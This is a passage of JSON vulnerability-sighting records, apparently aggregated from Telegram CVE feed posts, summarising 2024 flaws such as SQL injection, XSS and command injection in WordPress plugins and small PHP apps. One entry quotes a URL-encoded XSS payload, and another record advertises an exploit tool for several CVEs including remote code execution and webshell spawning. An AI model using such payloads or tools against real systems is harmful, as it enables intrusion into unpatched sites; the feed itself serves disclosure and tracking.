\nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-30T19:18:38.000000Z"}, {"uuid": "ad97cf9b-a87b-4a25-85a7-7b3259ddb904", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12568", "type": "seen", "source": "https://t.me/cvedetector/15124", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12568 - Icegram Express WordPress Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12568 \nPublished : Jan. 13, 2025, 6:15 a.m. | 30\u00a0minutes ago \nDescription : The Email Subscribers by Icegram Express  WordPress plugin before 5.7.45 does not sanitise and escape some of its Workflow settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-13T07:52:28.000000Z"}, {"uuid": "b05222a6-7089-4f8c-b593-2479c3132192", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12567", "type": "seen", "source": "https://t.me/cvedetector/15123", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12567 - Icegram Express WordPress Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12567 \nPublished : Jan. 13, 2025, 6:15 a.m. | 30\u00a0minutes ago \nDescription : The Email Subscribers by Icegram Express  WordPress plugin before 5.7.45 does not sanitise and escape some of its form settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-13T07:52:28.000000Z"}, {"uuid": "45797fa4-d802-4f06-a458-a6c778fc54ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12274", "type": "seen", "source": "https://t.me/cvedetector/15121", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12274 - WordPress Appointment Booking Calendar Plugin Insecure File Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-12274 \nPublished : Jan. 13, 2025, 6:15 a.m. | 30\u00a0minutes ago \nDescription : The Appointment Booking Calendar Plugin and Scheduling Plugin  WordPress plugin before 1.1.23 export settings functionality exports data to a public folder, with an easily guessable file name, allowing unauthenticated attackers to access the exported files (if they exist). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-13T07:52:25.000000Z"}, {"uuid": "4382eed4-944f-422f-831d-f842d8f76e2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12566", "type": "seen", "source": "https://t.me/cvedetector/15122", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12566 - Icegram Express WordPress Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12566 \nPublished : Jan. 13, 2025, 6:15 a.m. | 30\u00a0minutes ago \nDescription : The Email Subscribers by Icegram Express  WordPress plugin before 5.7.45 does not sanitise and escape some of form settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-13T07:52:26.000000Z"}, {"uuid": "d8ec48a0-369d-44d0-b814-41c6f81ffd32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12993", "type": "seen", "source": "https://t.me/cvedetector/13931", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12993 - Infinix Mobile Location Disclosure Information Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-12993 \nPublished : Dec. 30, 2024, 11:15 a.m. | 19\u00a0minutes ago \nDescription : Infinix devices contain a pre-loaded \"com.rlk.weathers\" application, that exposes an unsecured content provider. An attacker can communicate with the provider and reveal the user\u2019s location without any privileges.\u00a0  \nAfter multiple attempts to contact the vendor we did not receive any answer. We suppose this issue affects all Infinix Mobile devices. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-30T12:37:20.000000Z"}, {"uuid": "36248e21-96a1-4963-9b25-c2883d362f54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12960", "type": "seen", "source": "https://t.me/cvedetector/13689", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12960 - Apache MCA 1.0 SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12960 \nPublished : Dec. 26, 2024, 6:15 p.m. | 35\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, has been found in 1000 Projects Portfolio Management System MCA 1.0. This issue affects some unknown processing of the file /update_edu_details.php. The manipulation of the argument q leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T19:55:01.000000Z"}, {"uuid": "b2411469-1a6f-4394-afee-a1d75d948dd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12943", "type": "seen", "source": "https://t.me/cvedetector/13658", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12943 - \"CodeAstro House Rental Management System SQL Injection Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12943 \nPublished : Dec. 26, 2024, 9:15 a.m. | 22\u00a0minutes ago \nDescription : A vulnerability was found in CodeAstro House Rental Management System 1.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /ownersignup.php. The manipulation of the argument f/e/p/m/o/n/c/s/ci/a leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The initial researcher advisory only mentions the parameter \"m\" to be affected. But it must be assumed that many other parameters are affected as well. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T10:43:07.000000Z"}, {"uuid": "cfd5c5df-a34e-4058-8194-9c2bfa532fdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12617", "type": "seen", "source": "https://t.me/cvedetector/13554", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12617 - WordPress Omnibus WC Price History Unauthorized Access Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12617 \nPublished : Dec. 24, 2024, 5:15 a.m. | 35\u00a0minutes ago \nDescription : The WC Price History for Omnibus plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on several AJAX actions in all versions up to, and including, 2.1.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to view and modify history data. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T06:52:26.000000Z"}, {"uuid": "4af83405-54af-4ca2-8a43-d8e4e6c62b0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12710", "type": "seen", "source": "https://t.me/cvedetector/13553", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12710 - WordPress WP-Appbox Reflected Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12710 \nPublished : Dec. 24, 2024, 5:15 a.m. | 35\u00a0minutes ago \nDescription : The WP-Appbox plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 4.5.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T06:52:25.000000Z"}, {"uuid": "d652d46b-294a-4328-8b33-298aef730618", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12991", "type": "seen", "source": "https://t.me/cvedetector/13802", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12991 - DBShop\u5168\u7403\u5546\u57ce\u7cfb\u7d71 Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12991 \nPublished : Dec. 27, 2024, 8:15 p.m. | 26\u00a0minutes ago \nDescription : A vulnerability was found in Beijing Longda Jushang Technology DBShop\u5546\u57ce\u7cfb\u7edf 3.3 Release 231225. It has been declared as problematic. This vulnerability affects unknown code of the file /home-order. The manipulation of the argument orderStatus with the input %22%3E%3Csvg%20onload=alert(5888)%3E leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T21:52:54.000000Z"}, {"uuid": "481e95d3-d695-4131-bb06-0ef52c5111fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12986", "type": "seen", "source": "https://t.me/cvedetector/13788", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12986 - DrayTek Vigor2960/Vigor300B OS Command Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12986 \nPublished : Dec. 27, 2024, 4:15 p.m. | 23\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, has been found in DrayTek Vigor2960 and Vigor300B 1.5.1.3/1.5.1.4. This issue affects some unknown processing of the file /cgi-bin/mainfunction.cgi/apmcfgupptim of the component Web Management Interface. The manipulation of the argument session leads to os command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.5.1.5 is able to address this issue. It is recommended to upgrade the affected component. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T17:42:02.000000Z"}, {"uuid": "6d990593-bf05-433f-bb80-c221e199745a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12238", "type": "seen", "source": "https://t.me/cvedetector/13854", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12238 - Ninja Forms WordPress Unauthorized Shortcode Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12238 \nPublished : Dec. 29, 2024, 6:15 a.m. | 42\u00a0minutes ago \nDescription : The The Ninja Forms \u2013 The Contact Form Builder That Grows With You plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 3.8.22. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for authenticated attackers, with Subscriber-level access and above, to execute arbitrary shortcodes. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-29T08:10:37.000000Z"}, {"uuid": "adf110f6-5e19-4465-8338-bdb23a8eceb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12999", "type": "seen", "source": "https://t.me/cvedetector/13849", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12999 - \"PHPGurukul Small CRM SQL Injection\"\", \n  \"Content\": \"CVE ID : CVE-2024-12999 \nPublished : Dec. 29, 2024, 2:15 a.m. | 39\u00a0minutes ago \nDescription : A vulnerability has been found in PHPGurukul Small CRM 1.0 and classified as critical. This vulnerability affects unknown code of the file /admin/edit-user.php. The manipulation of the argument id leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-29T03:59:56.000000Z"}, {"uuid": "7c0e260b-5963-4fa2-9f3f-b7fb63f78e5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12998", "type": "seen", "source": "https://t.me/cvedetector/13848", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12998 - \"Code-projects Online Car Rental System Cross Site Scripting Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12998 \nPublished : Dec. 28, 2024, 10:15 p.m. | 27\u00a0minutes ago \nDescription : A vulnerability, which was classified as problematic, was found in code-projects Online Car Rental System 1.0. This affects an unknown part of the file /index.php of the component GET Parameter Handler. The manipulation leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-28T23:49:02.000000Z"}, {"uuid": "00d0f24e-f003-4a3e-80ca-8d9e2a3a9489", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12995", "type": "seen", "source": "https://t.me/cvedetector/13846", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12995 - Ruifang-tech Rebuild Cross Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12995 \nPublished : Dec. 28, 2024, 2:15 p.m. | 38\u00a0minutes ago \nDescription : A vulnerability classified as problematic has been found in ruifang-tech Rebuild 3.8.6. This affects an unknown part of the file /project/050-9000000000000001/tasks of the component Project Tasks Section. The manipulation of the argument description leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-28T16:17:30.000000Z"}, {"uuid": "d6c41313-1f9e-45cb-b493-039e7f4b0117", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12994", "type": "seen", "source": "https://t.me/cvedetector/13845", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12994 - \"Datart Running-Elephant Deserialization RCE\"\", \n  \"Content\": \"CVE ID : CVE-2024-12994 \nPublished : Dec. 28, 2024, 1:15 p.m. | 16\u00a0minutes ago \nDescription : A vulnerability was found in running-elephant Datart 1.0.0-rc3. It has been rated as critical. Affected by this issue is the function extractModel of the file /import of the component File Upload. The manipulation of the argument file leads to deserialization. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-28T14:37:13.000000Z"}, {"uuid": "def56f6b-f470-45ea-9f61-16edb9371aad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12978", "type": "seen", "source": "https://t.me/cvedetector/13708", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12978 - Code-Projects Job Recruitment SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12978 \nPublished : Dec. 27, 2024, 4:15 a.m. | 37\u00a0minutes ago \nDescription : A vulnerability has been found in code-projects Job Recruitment 1.0 and classified as critical. This vulnerability affects the function add_req of the file /_parse/_all_edits.php. The manipulation of the argument jid/limit leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T05:57:08.000000Z"}, {"uuid": "eaf566f3-0ba7-48ca-adb8-fb90131d2e9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12976", "type": "seen", "source": "https://t.me/cvedetector/13707", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12976 - CodeZips Hospital Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12976 \nPublished : Dec. 27, 2024, 2:15 a.m. | 46\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, has been found in CodeZips Hospital Management System 1.0. Affected by this issue is some unknown functionality of the file /staff.php. The manipulation of the argument tel leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T04:16:47.000000Z"}, {"uuid": "d7a48478-8794-4abf-9132-8d95aff0de0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12969", "type": "seen", "source": "https://t.me/cvedetector/13704", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12969 - Code-projects Hospital Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12969 \nPublished : Dec. 26, 2024, 11:15 p.m. | 34\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, has been found in code-projects Hospital Management System 1.0. Affected by this issue is some unknown functionality of the file /admin/index.php of the component Login. The manipulation of the argument username/password leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T00:56:07.000000Z"}, {"uuid": "8795942e-575d-4d67-9c8a-281ddeeffbca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12977", "type": "seen", "source": "https://t.me/cvedetector/13705", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12977 - PHPGurukul Complaint Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12977 \nPublished : Dec. 27, 2024, 2:15 a.m. | 46\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, was found in PHPGurukul Complaint Management System 1.0. This affects an unknown part of the file /admin/state.php. The manipulation of the argument state leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T04:16:46.000000Z"}, {"uuid": "ef88a4fa-92ca-446d-be9e-0dbe3396bd33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12967", "type": "seen", "source": "https://t.me/cvedetector/13703", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12967 - Code-Projects Job Recruitment SQL Injectionazard\", \n  \"Content\": \"CVE ID : CVE-2024-12967 \nPublished : Dec. 26, 2024, 10:15 p.m. | 44\u00a0minutes ago \nDescription : A vulnerability classified as critical has been found in code-projects Job Recruitment 1.0. Affected is the function fln_update of the file /_parse/_all_edits.php. The manipulation of the argument fname/lname leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T00:06:00.000000Z"}, {"uuid": "8da8d027-2ddd-44d1-b437-5b9dbc824c42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12968", "type": "seen", "source": "https://t.me/cvedetector/13702", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12968 - Code-projects Job Recruitment SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12968 \nPublished : Dec. 26, 2024, 10:15 p.m. | 44\u00a0minutes ago \nDescription : A vulnerability classified as critical was found in code-projects Job Recruitment 1.0. Affected by this vulnerability is the function edit_jobpost of the file /_parse/_all_edits.php. The manipulation of the argument jobtype leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T00:05:59.000000Z"}, {"uuid": "d820b4fb-81f2-4315-bedc-680ffefd353f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "https://t.me/ZeroEthical_Course/4049", "content": "\u2620\ufe0fCVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\n\u2708\ufe0fEnjoy", "creation_timestamp": "2025-03-05T23:29:05.000000Z"}, {"uuid": "29ed9c27-ae9e-431a-aac5-555890f860a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12965", "type": "seen", "source": "https://t.me/cvedetector/13696", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12965 - 1000 Projects Portfolio Management System MCA SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12965 \nPublished : Dec. 26, 2024, 9:15 p.m. | 42\u00a0minutes ago \nDescription : A vulnerability was found in 1000 Projects Portfolio Management System MCA 1.0. It has been declared as critical. This vulnerability affects unknown code of the file /update_ex_detail.php. The manipulation of the argument q leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T23:15:43.000000Z"}, {"uuid": "b720969f-be0f-46da-bf49-ca3879eec454", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12989", "type": "seen", "source": "https://t.me/cvedetector/13791", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12989 - WISI Tangram GT31 SSRF Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12989 \nPublished : Dec. 27, 2024, 6:15 p.m. | 45\u00a0minutes ago \nDescription : A vulnerability was found in WISI Tangram GT31 up to 20241214 and classified as problematic. Affected by this issue is some unknown functionality of the component HTTP Request Handler. The manipulation leads to server-side request forgery. The attack may be launched remotely. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T20:12:24.000000Z"}, {"uuid": "79ea0ec5-d31c-4184-a692-598c950c3aa2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12990", "type": "seen", "source": "https://t.me/cvedetector/13790", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12990 - Ruifang-tech Rebuild Open Redirect Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12990 \nPublished : Dec. 27, 2024, 6:15 p.m. | 45\u00a0minutes ago \nDescription : A vulnerability was found in ruifang-tech Rebuild 3.8.6. It has been classified as problematic. This affects an unknown part of the file /user/admin-verify of the component Admin Verification Page. The manipulation of the argument nexturl with the input http://localhost/evil.html leads to open redirect. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": 